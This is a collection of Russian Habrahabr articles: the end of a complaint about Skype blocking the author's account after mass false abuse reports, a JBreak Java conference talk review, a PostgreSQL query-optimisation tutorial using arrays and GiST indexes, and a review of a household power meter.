способом через массовые жалобы, я подробно описал ситуацию. Оригинал переписки можно посмотреть здесь: telegra.ph/Account-blocked-by-mass-abuse-reporting (Читать сверху вниз) Я рекомендую прочитать именно оригинал, чтобы ощутить полностью унижение, которое испытывают невинные жертвы блокировок. Краткая выдержка из переписки: <Я> Почему мой аккаунт заблокирован? Я предполагаю, что это результат массовых поддельных жалоб. <Skype> Наша автоматическая система заблокировала ваш аккаунт за нарушение правил использования Skype. <Я> Ваша система уязвима, с помощью поддельных жалоб можно заблокировать чужой аккаунт, даже если он не выполняет никаких действий и не нарушает правила. Мой аккаунт был заблокирован именно таким образом. Пожалуйста, проверьте тщательно. <Skype> Мы проверили, наша система не ошибается, вы точно нарушили правила. Наша система очень точна, и все действия логируются. Мы точно видим, что вы нарушили правила, ваш аккаунт не будет разблокирован никогда. Если хотите пользоваться скайпом дальше — заводите новый. <Я> Ваша система подвержена мошенническим манипуляциям. Вот доказательства. <Skype> Нет, наша система не ошибается, инфа 100% <Я> Хорошо, назовите мои конкретные действия, которые привели к блокировке. <Skype> Вы уже описали эти действия в предыдущих письмах. Вы правы насчет причин блокировки. <Я> Вы что, сумасшедшие? Получается, вы подтверждаете, что любой аккаунт может быть удален, если злоумышленник отправит достаточное количество жалоб? И вы даже не знаете о причинах этих жалоб? Вы знаете, что эти абузы могут быть отправлены даже без добавления жертвы в контакт-лист. То есть их можно отправить с аккаунта, который никогда даже не общался с тем, на кого он жалуется. Получается, вы фактически подтверждаете существование такой уязвимости. Это вообще законно? Я планирую обратится в суд. <Skype> Мы считаем, что предоставили вам достаточно информации. Вы просто говно и все тут. <Я> Это очень серьезная уязвимость. Я считаю, что вы должны тщательно расследовать ее. У меня достаточно данных для воспроизведения этой уязвимости. Мы можем повторить ее на аккаунте, который вы предоставите, который точно не нарушает правила, и который вы полностью контролируете. Я оплачу удаление этого аккаунта атакующему, и вы сможете расследовать эту проблему. <Skype> Мы понимаем, что вы хотите узнать точную причину удаления вашего аккаунта. Мы уже сообщали вам ранее, что наша автоматическая система выявления мудаков очень точна. Так вот, вы — мудак. У нас все записано! <Я> Хорошо, что если я хочу сообщить об уязвимости? Вот ее подробное описание… <Skype> Да нам пофиг вообще, идите в суд или полицию. Итог На текущий момент, прошло 15 дней с момента блокировки моего аккаунта. Из переписки с поддержкой видно, что возвращать его не собираются. Но я все-таки рассчитываю его вернуть, и получить извинения от Skype за все унижения, которые мне приходится терпеть, пытаясь сделать их сервис безопаснее. К сожалению, Skype на сегодняшний день — огромная неповоротливая бюрократическая машина, которая из-за своих размеров и плохой организации не способна выявлять и реагировать на проблемы. Я сильно сомневаюсь, что в ближайшее время что-то изменится. В статье описаны уязвимости, которые известны лично мне . По опыту, можно предположить, что существует еще огромное число проблем, о которых я просто не знаю, и которые активно эксплуатируются. Важно понимать, что таким проблемам подвержен ЛЮБОЙ мессенджер с централизованным управлением, где вся безопасность строится на доверии к администрации. Если вы считаете, что ваш любимый мессенджер более безопасен чем Skype, потому что его сотрудники хорошие ребята, то это большое заблуждение. Люди, которые имеют неограниченный доступ к информации всех своих пользователей, могут быть уязвимы к давлению, шантажу или обману. Вряд ли кто-либо готов сидеть в тюрьме или отдать жизнь за сохранность сообщений своих пользователей. И пока существует такой неограниченный доступ, всегда будет соблазн этот доступ использовать неправомерно. По-настоящему безопасный мессенджер должен быть построен не на доверии к какой-то группе людей, а на невозможности неправомерного доступа к информации на уровне спецификации.
https://habrahabr.ru/post/316912/
habrahabr
Java-хардкор по-новосибирски: обзор и видео лучших докладов JBreak 2016. И анонс JBreak 2017
['java', 'конференция', 'jbreak', 'доклады', 'видеозаписи докладов']
Что ни говори, а в Новосибирске обстановка суровая: суровая погода, суровая архитектура, – теперь можно с уверенностью сказать, что в Нске проходит еще и суровая Java-конференция. Без простых...
Что ни говори, а в Новосибирске обстановка суровая: суровая погода, суровая архитектура, – теперь можно с уверенностью сказать, что в Нске проходит еще и суровая Java-конференция. Без простых докладов, без аджайлов и скрамов, – только хардкор, в лучших традициях Joker и JPoint – и имя этой конференции JBreak . В этом посте вы найдете: Лучшие доклады JBreak 2016; Ссылку на вообще все доклады JBreak 2016; Анонс, кто будет выступать в этот раз; Объяснение, почему конференция съедет из Академгородка. Лучшие доклады 2016 Доклады JBreak 2016 мы выложили давно, однако я обнаружил, что мы не сделали отдельного хабропоста об этом. Пользуясь случаем, исправляю ситуацию: все представленные ниже доклады получили рейтинг участников 4.5+ (из пяти). Все видео даны в плейлисте, в котором вы найдете доклады JBreak 2016, не вошедшие в топ-10. Алексей Шипилёв, Oracle The Lord of the Strings: Two Scours Лучший доклад Joker/JPoint, порвавший зал и в Новосибе, который помогает понять, насколько сильно отличается разработка JDK от обычных проектов. В этом докладе рассматриваются две фичи во все еще грядущем JDK 9, направленные на оптимизацию строк: Compact Strings , сжимающие строки с однобайтовыми символами, что улучшает футпринт и даже общую производительность; и Indify String Concat , использующий магию invokedynamic для конкатенации строк, позволяющий подкручивать реализацию конкатенации без рекомпиляции программ. Тагир Валеев Stream API: рекомендации лучших собаководов Тагир начал свое победное шествие еще на Joker 2015, закрепив в Новосибирске звание одного из лучших Java-спикеров в России. В докладе вместе с Тагиром вы познакомитесь со всеми возможностями Stream API, сможете понять для каких операций в стандартной библиотеке не хватает инструментов и как их заменить собственными элегантными решениями. А если к концу доклада вы поймете, велосипеды строить не хочется, в докладе вам предложат пару библиотек, которые облегчат жизнь. Много хардкора, много юмора. Must see, как говорится: Александр Маторин, СберТех Неочевидные Дженерики<?>(); Доклад от разработчика Сбербанк-Технологии, получивший высокие оценки не только в Новосибирке, но в Москве, посвящен подводным камням и удивительным особенностям поведения дженериков в JDK, тому во что они компилируются (когда компилируются) и почему дженерики в Java такие странные. В докладе много кода, загадок и крутейших примеров. Michal Kordas Groovier BDD with Spock Доклад на английском языке, посвященный Behavior Driven Development и инструментам, позволяющим довести его до совершенства. Сочетание Groovy и Spock позволяет писать тесты и спецификации к вашему коду почти на чистом английском языке, так что даже ваш ПМ. который уже пять лет IDE не открывал , сможет их прочитать: Выглядит свежо и впечатляюще, смотрите сами: Алексей Шипилёв, Oracle Сжимай меня полностью В этом докладе Алексей прилюдно копается в кишках JVM и JDK, в поисках того, как сама платформа пытается сэкономить на памяти. Посмотрим на упаковку заголовков и полей объектов, сжатие указателей, учёт ссылок между поколениями в куче, трюки в сгенерированном коде, кэш автобоксинга и т.п. Хотите поломать голову над хитрыми вопросами от Алексея? Тогда вам сюда: Олег m0nstermind Анастасьев, Одноклассники Распределенные системы в Одноклассниках Доклад о том, как работает одна из наиболее высконагруженных систем в России, обрабатывающая до 500 000 (полумиллиона, да) запросов в секунду на 8000 серверов в трех датацентрах, вошедший в список лучших докладов на наших Java-конференциях в Москве, Петербурге и, как видите, Новосибирске. Речь в докладе пойдет совсем не о том, как «собрать классы»: здесь вы найдете пример построения отказоустойчивой распределенной системы на Java, основанный на ошибках и отказах, приемах их тестирования и диагностики. Также речь пойдет и об авариях в распределенных системах и методах их предупреждения. Смотрите, если интересуетесь distributed-архитектурами: Роман Артемьев, Сергей Андреенко Особенности реализации Java на процессоре Эльбрус Доклад о том, как два студента пилили свою Java с блэкджеком и ... под экзотическую VLIW-архитектуру Эльбруса. Вместе с докладчиками вы пройдете весь путь от выбора JDK и компилятора до «ручной» сборки мусора и решения проблем с обработкой исключений. В конце вы узнаете про подходы и нетривиальные решения, которые были применены при портировании JVM, про то, каким образом использование, казалось бы, незначительных особенностей архитектуры может дать куда большее ускорение, нежели различные классические оптимизации, а также почему все говорят, что Эльбрус медленный, и насколько это является правдой: Два доклада Владимира Красильщика, Luxoft Vert.x: руководство по эксплуатации Технократическая пьеса от прагматичного Java-программиста, посвященная Vert.x – современному полиглотному toolkit для создания реактивных веб- и не только приложений. Vert.x — это своеобразная методология и инструментарий к построению масштабируемого и высокопроизводительного сервер-сайда, которые однако не накладывают никаких ограничений на фреймворки и инструменты, с которыми Вам и так привычно работать. Если Вам знакомы или близки по духу такие термины как Node.js, Actors Model, Erlang, Akka и микросервисы Вам однозначно будет интересно познакомиться с Vert.x поближе, чтобы писать очень быстрый код под JVM на любом языке, будь то Java, Javascript, Scala, Groovy или Ruby. Что надо знать о логировании прагматичному Java‑программисту Доклад основан на проекте, состоящем из 40 микросервисов, которые (не все, но некоторые) на протяжении 6 лет мэйнтейнятся командой из 20 разработчиков. В работе профессиональных Java‑программистов такой аспект как логирование не представляется чем-то важным, значимым, вот только когда приложение начинает жить своей жизнью, переходить из рук в руки программистов и тестеров, ломаться, чиниться, всячески падать и поддерживаться, а тем более когда оно начинает интегрироваться с другими подсистемами или апгрейдиться на новые версии библиотек, вот тут логирование и показывает своё истинное лицо и весело спрашивает: «Ну что, @#$%, не ждали?». Из доклада вы узнаете, как сочетаются современные библиотеки логирования, как можно и нужно использовать логи, а также про возможные «нежданчики», которые могут случаться, например, в простейшей строке: log.info("personalId="+id) Никита pjBooms Липский, Excelsior Поддержка Java 8 в Excelsior JET Доклад Никиты Липского, JVM-разработчика, который не пишет на «плюсах» – АОТ Excelsior JET написан на Scala, а рантайм – на Java, в котором рассматривается реализация Excelsior JET новых возможностей, добавленных в Java 8. В итоге, после доклада вы освежите в памяти, что появилось в Java 8, как это повлияло на спецификацию JVM, во что превращаются лямбда-выражения в Java байт-коде, как их можно статически оптимизировать, а также получите некоторое представление о внутреннем устройстве еще одной JVM. Больше хардкора Как видите, топ прошлой конференции почти полностью оккупировали хардкорщики с докладами о кишочках JVM. В 2017 году ставки не снизятся, у нас уже есть 7 докладчиков, четверо из которых и по сей день работают с внутренностями платформы – неплохое начало: Из новичков JBreak (каждый из которых на самом деле является проверенным ветераном Java-мира) у нас будут: Charles Nutter , Разработчик JVM в Red Hat, мейнтейнер проекта JRuby . Владимир @iwan0www Иванов , инженер команды HotSpot JVM. Виктор gAmUssA Гамов , Senior Solution Architect в Hazelcast, эксперт в области распределенных систем, сооснователь подкаста " Разбор полетов ". Егор yegor256 Бугаенко , CTO в Teamed.io, основоположник движения trueOOP и идейный вдохновитель JVM-языка EO. Впрочем, вы найдете в 2017 году и лучших спикеров прошлой конференции: Алексей Дживиэмович Шипилёв , JVM-разработчик в Red Hat, перфоманс-инженер с более чем 10-летним опытом, бог эксперт в области бенчмаркинга. Тагир lany Валеев , Инженер в новосибирском офисе JetBrains, занимается статическим анализатором кода IntelliJ IDE(A), инспекциями и квик-фиксами. Контрибьютор OpenJDK, автор опенсорсной библиотеки StreamEx и анализатора байткода Java HuntBugs . Никита pjBooms Липский , Один из инициаторов и руководителей проекта Excelsior JET, сертифицированной реализации Java SE, разрабатываемой компанией Excelsior. Тоже, кстати, сибиряк:) В общем, как видите, уже за три с половиной месяца до конференции состав спикеров такой, что можно бежать регистрироваться , однако помните – у нас будет как минимум три трека, – а это значит, что спикеров будет более 20. Следите за обновлениями на сайте конференции . Во время церемонии закрытия JBreak 2016 Алексей 23derevo Фёдоров отметил: случившийся в этот день в Технопарке аншлаг означает, во-первых, что через год не обойтись без JBreak 2017, и, во-вторых, что для него придётся искать площадку вместительнее, – так и вышло JBreak 2017 состоится в Новосибирск Экспоцентр. P.S. Кстати, у нас были люди, которые жаловались на то, что о конференции не было ни слуху, ни духу. Можете посоветовать, куда писать, чтобы как больше Новосибирских Java-разработчиков узнали о JBreak?
https://habrahabr.ru/company/jugru/blog/317628/
habrahabr
Оптимизация одного запроса с GROUP BY в PostgreSQL
['postgresql', 'sql', 'оптимизация запросов', 'индексы', 'gist', 'group by']
Сразу скажу, что в этой статье нет универсального совета на все случаи, а рассмотрен случай оптимизации лишь небольшого класса запросов. Тем не менее такие запросы могут встречаться во многих...
Сразу скажу, что в этой статье нет универсального совета на все случаи, а рассмотрен случай оптимизации лишь небольшого класса запросов. Тем не менее такие запросы могут встречаться во многих проектах. Сформулируем задачу Рассмотрим такую схему. У нас есть две таблички content — документы. content_keyword_ref — ключевые слова, которые присутствуют в документе. CREATE TABLE CREATE TABLE content ( id integer NOT NULL DEFAULT nextval('content_id_seq'::regclass), some_data character varying(1000) NOT NULL, CONSTRAINT content_pkey PRIMARY KEY (id), ); CREATE TABLE content_keyword_ref ( keyword_id integer NOT NULL, content_id integer NOT NULL, CONSTRAINT content_keyword_ref_pkey PRIMARY KEY (keyword_id, content_id), CONSTRAINT content_keyword_ref_content_id_foreign FOREIGN KEY (content_id) REFERENCES content (id) MATCH SIMPLE ON UPDATE NO ACTION ON DELETE CASCADE, CONSTRAINT content_keyword_ref_keyword_id_foreign FOREIGN KEY (keyword_id) REFERENCES keywords (id) MATCH SIMPLE ON UPDATE NO ACTION ON DELETE CASCADE ); CREATE INDEX content_keyword_ref_content_id_index ON content_keyword_ref USING btree (content_id); CREATE INDEX content_keyword_ref_keyword_id_index ON content_keyword_ref USING btree (keyword_id); CREATE INDEX content_keyword_ref_keyword_content_idx ON content_keyword_ref USING btree (keyword_id, content_id); Документов у меня локальной в базе примерно 2 млн, а связей с ключевыми словами примерно 15 млн. Выберем документы, содержащие одно из перечисленных ключевых слов. Решение классическое Для этого нам придется написать примерно такой запрос (я сразу буду добавлять EXPLAIN ANALYZE и выводить план): EXPLAIN ANALYSE SELECT c.id FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) GROUP BY c.id LIMIT 1000 GROUP BY нам приходится использовать только для того, чтобы в выводе не дублировались документы для каждого найденного ключевого слова. Что мы видим в плане выполнения запроса: Limit (cost=21454.94..34933.16 rows=1000 width=4) (actual time=6.777..199.735 rows=1000 loops=1) -> Group (cost=21454.94..100235.11 rows=5845 width=4) (actual time=6.775..199.641 rows=1000 loops=1) Group Key: c.id -> Merge Join (cost=21454.94..100220.49 rows=5845 width=4) (actual time=6.774..199.389 rows=1141 loops=1) Merge Cond: (c.id = r.content_id) -> Index Only Scan using content_pkey on content c (cost=0.43..73221.47 rows=2182736 width=4) (actual time=0.013..131.942 rows=1339506 loops=1) Heap Fetches: 0 -> Sort (cost=21454.51..21469.13 rows=5845 width=4) (actual time=6.662..6.792 rows=1141 loops=1) Sort Key: r.content_id Sort Method: quicksort Memory: 143kB -> Bitmap Heap Scan on content_keyword_ref r (cost=118.16..21088.82 rows=5845 width=4) (actual time=0.470..6.273 rows=2007 loops=1) Recheck Cond: (keyword_id = ANY ('{4713,5951}'::integer[])) Heap Blocks: exact=1781 -> Bitmap Index Scan on content_keyword_ref_keyword_content_idx (cost=0.00..116.70 rows=5845 width=0) (actual time=0.239..0.239 rows=2007 loops=1) Index Cond: (keyword_id = ANY ('{4713,5951}'::integer[])) Planning time: 0.277 ms Execution time: 199.805 ms Аналогичный результат мы получили бы, использовав DISTINCT вместо GROUP BY: EXPLAIN ANALYSE SELECT DISTINCT c.id FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) LIMIT 1000 Получаем: Limit (cost=21454.94..34933.16 rows=1000 width=4) (actual time=2.824..187.619 rows=1000 loops=1) -> Unique (cost=21454.94..100235.11 rows=5845 width=4) (actual time=2.824..187.519 rows=1000 loops=1) -> Merge Join (cost=21454.94..100220.49 rows=5845 width=4) (actual time=2.823..187.351 rows=1141 loops=1) Merge Cond: (c.id = r.content_id) -> Index Only Scan using content_pkey on content c (cost=0.43..73221.47 rows=2182736 width=4) (actual time=0.011..120.481 rows=1339506 loops=1) Heap Fetches: 0 -> Sort (cost=21454.51..21469.13 rows=5845 width=4) (actual time=2.693..2.805 rows=1141 loops=1) Sort Key: r.content_id Sort Method: quicksort Memory: 143kB -> Bitmap Heap Scan on content_keyword_ref r (cost=118.16..21088.82 rows=5845 width=4) (actual time=0.463..2.321 rows=2007 loops=1) Recheck Cond: (keyword_id = ANY ('{4713,5951}'::integer[])) Heap Blocks: exact=1781 -> Bitmap Index Scan on content_keyword_ref_keyword_content_idx (cost=0.00..116.70 rows=5845 width=0) (actual time=0.235..0.235 rows=2007 loops=1) Index Cond: (keyword_id = ANY ('{4713,5951}'::integer[])) Planning time: 0.264 ms Execution time: 187.727 ms Как видно, группировка приводит к сортировкам и другим накладным расходам. На некоторых данных время выполнения достигает нескольких секунд! Как быть? Оптимизация Мои идеи, как ускорить запрос при имеющейся схеме, закончились. Попробуем перестроить схему. Табличку content оставляем. А вот связи с ключевыми словами будем хранить в массиве. Чтобы быстро выбирать данные по условиям на массиве, создаем также GiST индекс. О том, какие операторы для работы с массивами поддерживаются индексами, можно посмотреть в документации PostgreSQL . CREATE TABLE document ( content_id integer NOT NULL, -- Наш массив ключевых слов, взамен таблицы content_keyword_ref keyword_ids integer[] NOT NULL ); -- Наш GiST индекс CREATE INDEX document_keyword_ids_index ON document USING GiST(keyword_ids gist__intbig_ops); И менее интересная часть CREATE INDEX document_content_id_index ON public.document USING btree (content_id); -- Копипастим имеющиеся данные INSERT INTO document (content_id, keyword_ids) SELECT c.id, ARRAY( SELECT r.keyword_id FROM content_keyword_ref r WHERE r.content_id = c.id ) FROM content c GROUP BY c.id; Теперь попробуем построить запрос, который будет возвращать такие же данные как и в вариантах выше: EXPLAIN ANALYZE SELECT c.id FROM content c JOIN document d ON d.content_id = c.id AND d.keyword_ids && ARRAY[4713, 5951] limit 1000 Смотрим план: Limit (cost=387.80..7540.27 rows=1000 width=4) (actual time=8.799..12.935 rows=1000 loops=1) -> Nested Loop (cost=387.80..14177.77 rows=1928 width=4) (actual time=8.799..12.880 rows=1000 loops=1) -> Bitmap Heap Scan on document d (cost=387.37..6246.79 rows=1930 width=4) (actual time=8.786..10.599 rows=1000 loops=1) Recheck Cond: (keyword_ids && '{4713,5951}'::integer[]) Rows Removed by Index Recheck: 107 Heap Blocks: exact=1008 -> Bitmap Index Scan on document_keyword_ids_index (cost=0.00..386.89 rows=1930 width=0) (actual time=8.560..8.560 rows=1977 loops=1) Index Cond: (keyword_ids && '{4713,5951}'::integer[]) -> Index Only Scan using content_pkey on content c (cost=0.43..4.10 rows=1 width=4) (actual time=0.002..0.002 rows=1 loops=1000) Index Cond: (id = d.content_id) Heap Fetches: 0 Planning time: 0.184 ms Execution time: 12.994 ms Выгода есть, причем заметная. На выбранных данных оптимизированный вариант запроса выполняется примерно в 14 раз быстрее. Текст запроса остался примерно таким же понятным. Давайте посмотрим, какие еще выгоды мы получили. Бонус Допустим, надо выводить найденные документы на странице с пагинацией. Как в этом случае посчитать количество записей в выборке в «классическом» варианте? Вот несколько вариантов: Считаем количество записей в подзапросе с GROUP BY: SELECT COUNT(1) FROM ( SELECT c.id FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) GROUP BY c.id ) t; Считаем количество записей в подзапросе с DISTINCT : SELECT COUNT(1) FROM ( SELECT DISTINCT(c.id) FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) ) t; Считаем количество записей без подзапроса, но с помощью COUNT (DISTINCT columns) : SELECT COUNT(DISTINCT c.id) FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) Или даже так: SELECT COUNT(1) OVER() FROM content c JOIN content_keyword_ref r ON r.content_id = c.id AND r.keyword_id IN (4713, 5951) GROUP BY c.id LIMIT 1 Во всех этих вариантах минус не только в производительности. Будет ли модуль пагинации в вашем фреймворке автоматически делать один из этих вариантов? Laravel, например, нет . Вместо этого он выберет все записи и посчитает их количество с помощью count() уже на PHP. Поэтому скорее всего вам придется переопределять метод расчета количества записей, чтобы каждый раз не вычитывалась из базы вся выборка. Как мы посчитаем количество записей в оптимизированном варианте запроса: SELECT COUNT(1) FROM document d WHERE d.keyword_ids && ARRAY[4713, 5951] Гораздо лаконичнее и нет проблем с пагинатором. Еще один бонус Мы выбирали документы, содержащие хотя бы одно из указанных слов. Что если надо выбрать документы, в которых содержатся все интересующие ключевые слова? В классическом варианте запрос можно построить примерно так: SELECT c.id FROM content c JOIN content_keyword_ref r1 ON r1.content_id = c.id AND r1.keyword_id = 5388 JOIN content_keyword_ref r2 ON r2.content_id = c.id AND r2.keyword_id = 5951 LIMIT 1000 То есть сколько ключевых слов ищем, столько JOIN-ов и делаем. Если мы фильтруем записи по массиву, то можем использовать оператор @> . Тогда запрос выглядит более аккуратно: SELECT c.id FROM content c JOIN document d ON d.content_id = c.id AND d.keyword_ids @> ARRAY[5388, 5951] LIMIT 1000 Да и план выполнения у него оказывается лучше. В документации по ссылке, которую я оставил выше, можно найти описание и других полезных операторов, поддерживаемых индексами. Резюме Я поэкспериментировал с разными данными. Как правило, оптимизированный вариант дает выигрыш в скорости от 2 до 10 раз. Но мне удалось-таки подобрать примеры, когда запросы на вычисление количества записей в выдаче работают в 1.5-2 раза медленнее в случае «оптимизированного» варианта. То есть в целом эксперимент можно назвать удачным. Но если решитесь на подобные хитрости, то перед запуском изменений в продакшн стоит проверить эффективность на ваших данных.
https://habrahabr.ru/post/317980/
habrahabr
Время экономить пришло: Энергомер от Даджет
['Даджет', 'энергомер']
Потребляет ли зарядное устройство, которое торчит без дела в розетке? Сколько "стоит" вам телевизор в режиме Stand By? Что дороже: использовать чайник на газу или электрический? Если...
Потребляет ли зарядное устройство, которое торчит без дела в розетке? Сколько "стоит" вам телевизор в режиме Stand By? Что дороже: использовать чайник на газу или электрический? Если и у вас возникали хоть раз подобные вопросы — прошу под кат. Будем знакомиться с Энергомером от Даджет. Немного вводной информации. Мощность электрической энергии принято измерять в Ваттах (Вт). Количество же энергии — в Ватт⋅часах (Вт⋅ч). Ну и все вытекающие с приставкой кВт и кВт⋅ч — в 1000 раз больше. Мощность — это скорость потребления энергии. Она характеризует прибор как "быстро потребляющий" или "медленно". Например, электрический чайник мощностью 2000 Вт за 1 час потребляет энергию в 2000⋅1=2000 Вт⋅ч. Лампочка рассчитанная на мощность 60 Вт за 30 минут (0,5 часа) потребляет 60⋅0,5=30 Вт⋅ч энергии или 0,03 кВт⋅ч. В Нижнем Новгороде, моём месте пребывания, 1 кВт⋅ч энергии стоит 3,41 рубля с 7 до 23 часов, а в иное время — 1,67 рублей. Это при условии потребления в рамках социальной нормы. Выше — примерно в два раза больше. Так вот, за полчаса работы та самая лампочка нам обойдется в 10 копеек днем и 5 копеек ночью. Особенности работы прибора Энергомер Всё что может показывать дисплей Функции прибора (согласно инструкции) Напряжение сети Сила тока в цепи нагрузки Мощность, потребляемая нагрузкой Количество потребленной мощности Частота напряжения сети Коэффициент мощности (думаю, это cos φ , где φ — сдвиг фаз между силой тока и напряжением) Общая стоимость потребленной электроэнергии и время потребления Стоимость по Тарифу 1 и время потребления в этом режиме Стоимость по тарифу 2 и время потребления в этом режиме Текущее время Технические характеристики: Максимальная нагрузка: 16 А, 3600 Вт Измеряемое напряжение: ~ 190-276 В Диапазон измерения тока: 0,01-16 А Диапазон измерения мощности: 0,2 — 3600 Вт Точность измерений: ±1% Измерение в диапазоне частот сети 45-65 Гц Батарея 3x1,5 В LR44/AG13 Маркировка на приборе Энергомер имеет внутри батарейки, благодаря которым он сохраняет в памяти текущее время и настройки тарифов. Открытый батарейный отсек Я сразу настроил прибор под свои жизненные реалии: двухтарифный режим. Стоимость и точные временные рамки я узнал на сайте энергоснабжающей организации моего региона. Управление происходит тремя основными кнопками. Еще есть одна — для сброса всего сразу. Типичная мелкая кнопка Reset, утопленная вглубь корпуса. Вбить настройки довольно легко. Пошагово, по инструкции (да, я её прочитал). Теперь можно втыкать изучать всё подряд, с мощностью до 3,6 кВт, как заявляет руководство по эксплуатации. Прибор запоминает израсходованную энергию и её стоимость. Сбрасывается это всё после долгого удержания кнопки Func. Довольно удобно. В действии На видео показано измерение мощности увлажнителя воздуха в разных режимах. Смотрите с субтитрами На видео показано измерение мощности увлажнителя воздуха в разных режимах. Смотрите с субтитрами Как мерить более точно Не совсем понравилось, что минимальная измеренная энергия это 0,1 кВт⋅ч. Всё что меньше — не так легко замерить. Но эту проблему я решил. Прибор прекрасно фиксирует цену потребленной энергии с точностью до 0,01 рубля. Так как я забил в энергомер цену 1 кВт⋅ч равную 3,41 рублям, то путём составления нехитрой пропорции получаем, что 1 копейка на циферблате соответствует 2,93 Вт⋅ч. Можно было сделать проще, поставить цену в 10 рублей. Тогда циферблат расходов показывал бы в одной копейке 1 Вт⋅ч. Автор знает про существование погрешностей, все расчеты ведутся в пределах "обывательской" погрешности. Мощность считаем только активную, ибо простой потребитель платит только за неё. Перейдём к тестированию на приборах Кофемашина DeLonghi Magnifica S 1450 Вт Данная кофемашина является неплохим аппаратом по соотношению цена\качество. Из минусов — разве что она не готовит автоматически молочную пенку. Прибор соответствует классу энергопотребления А. В режиме Stand By (просто включена в розетку) кофемашина работает с мощностью 0,2. В режиме готовности, когда сопла промыты и осталось только нажать на кнопку приготовления — 0,4 Вт. В процессе приготовления двойного эспрессо мощность скачет до максимально заявленной ввиду неравномерного процесса. Итак, на двойной эспрессо обошелся в 0,1 руб, что означает потраченные 29,3 Вт⋅ч электроэнергии. Кофеварка капельного типа Siemens TC 40207 900 Вт На приготовление двух чашек напитка класса "кофе" (объем как два двойных эспрессо из кофемашины выше) при мощности 470-500 Вт и cos φ=100, было потрачено 0,19 руб и 55,67 Вт⋅ч электроэнергии. Почти то же самое, что и кофемашина. Тостер Кофе пить хорошо, когда есть хрустящий горячий тост. Заряжаем два ломтика хлеба и готовим до еле-еле золотистого оттенка. И вот, тосты выпрыгнули, а энергомер показал мощность 720 Вт, cos φ=100, 23,44 Вт⋅ч. А с моего счёта списалось 8 копеек. Сарказм: надо было ночью делать, вышло бы в 2 раза дешевле. Электрический чайник В детстве у нас в семье был чайник для газовой плиты. И на все мои просьбы родители говорили, что электрический чайник потребляет много энергии и ни к чему. Но вот настал тот день: у меня в руках чудо инженерной мысли, кипятящее воду силой электрического тока и энергомер, чтобы всё это замерить. Под руки попал Tefal BF56 2000-2400 Вт. В реальности, судя по показаниям Энергомера он работает с мощностью около 1750-1840 Вт и cos φ=100. На кипячение 1,7 литров воды ушло 0,58 рубля. Переведя обратно (смотри пункт "Как мерить более точно" ) получаем 170 Вт⋅ч. То есть примерно по 100 Вт⋅ч на каждые 1 л воды. Расчет теплоёмкости для любителей :) Удельная теплоемкость воды при 20°С, 4,182 кДж/кг °С Удельная теплоемкость воды при 100°С, 4,216 кДж/кг °С Берем примерно 4,2 кДж/кг °С Количество тепла для нагрева 1 кг воды с 20°С до 100°С = 1 4,2 (100-20)=336 кДж 1 кВт⋅ч = 3600 кДж, 1 кДж=1/3600 кВт⋅ч Имеем: 336*1/3600=0,093 кВт⋅ч= 93,3 Вт⋅ч У нас получилось 100 Вт⋅ч, а значит 6,7 Вт⋅ч ушло на тепловые потери Микроволновая печь Опытный образец LG MS2548DRKS. На бирке написано "Макс. 1250 Вт 2450 МГц 850 Вт". При включении на режим 850 Вт — по факту микроволновка работала с мощностью 1480 Вт и cos φ=0,96. Любопытно, но если включать мощность приготовления 340 Вт, то слышно щелчки включения и отключения магнетрона. Нужная мощность приготовления получается прерывистым графиком работы на полной мощности. На энергомере я увидел периодическую мощность в 1480 Вт, которая сменялась 36 Вт (видимо столько нужно для вращения тарелки, кулера и всей электроники, без магнетрона). Микроволновка в режиме показа текущего времени работает с мощностью 0,6 Вт. Что при усредненной суточной стоимости электроэнергии в 4 руб за 1 кВт⋅ч обходится за год в 21 рубль :) Телевизор Посмотрим на энергопотребление телевизора LG-32LD425 2011 года. Старый добрый, еще "толстый" ЖК-телевизор с FullHD, не LED (ни в одном их смыслов) . У него есть режимы энергопотребления за счет регулирования яркости подсветки. На 100% яркости мощность 102 Вт, 73% — 95 Вт, 50% — 70 Вт, на 25% — 40 Вт. В режиме StandBy 0,4 Вт. Режимы экономии энергии Системный блок Для личных нужд использую системный блок, который работает как удалённый сервер. Без монитора и прочего. Там выполняются простенькие задачи, никаких тяжелых нагрузок. Характеристики Блок питания HIPRO HPE400W, 400Вт, 120мм Материнская плата ASUS H61M-K LGA 1155, mATX, Ret Модуль памяти KINGSTON KVR16N11S6A/2-SP DDR3 — 2Гб 1600, DIMM, 2х Процессор INTEL Pentium Dual-Core G2130, LGA 1155 Устройство охлаждения(кулер) DEEPCOOL Theta 21 PWM, 92мм Накопитель SSD KINGSTON SV300S37A/120G 120Гб, 2.5", SATA III В выключенном состоянии мощность 1,3 Вт. В стандартном спящем режиме Windows — 2 Вт. При работе под небольшой нагрузкой (момент загрузки ОС или включения браузера) мощность достигает 31-37 Вт. cos φ=0,56 Внутренности прибора Заголовок спойлера Интересно, что за микрик с обратной стороны дисплея. Что еще хочется померить Всегда волновал вопрос с кондиционером. Сколько же он по факту потребляет, сколько стоит его использование, скажем, за сутки. Буду ждать лета. Отвечаем на вопросы Потребляет ли зарядное устройство, которое торчит без дела в розетке? Нет, проверенные мной зарядники для телефонов без нагрузки показывали категоричный 0. Сколько "стоит" вам телевизор в режиме Stand By? Мне мой 32" телевизор стоит около 12 рублей в год (0,4 Вт * 8760 часов = 3,5 кВт⋅ч) Микроволновка показывает время примерно на 18 рублей в год. Что дороже: использовать чайник на газу или электрический? Всё зависит от ваших тарифов. Но для автора ответ "Электрический". Расчет ради интереса Вскипятить 1,2 литра (примерно 3 бокала + немного останется) 0,38 рубля. Будем считать, что в день происходит 4 нагрева. Это примерно 45 рублей в месяц. Автор не является скрягой. Ему просто нравится проводить расчеты. Итоги Прибор лёгкий в настройке и управлении. Измеряет всё что только можно и нужно. Дисплей очень информативный, но в некоторых случаях не хватало подсветки. Корпус сделан добротно, ничего не шатается, поэтому не страшно вставлять в розетку. Давно присматривал подобный гаджет. Хотелось измерить всякие энергопотребители дома и на работе. Поэтому было очень приятно получить такой прибор на тест. Спасибо, Даджет! Купить "Измеритель мощности Энергомер" с 10% скидкой можно по промокоду GEEKT-EN в течение 14 дней с момента публикации. Информация для блогеров и авторов: Компания «Даджет» 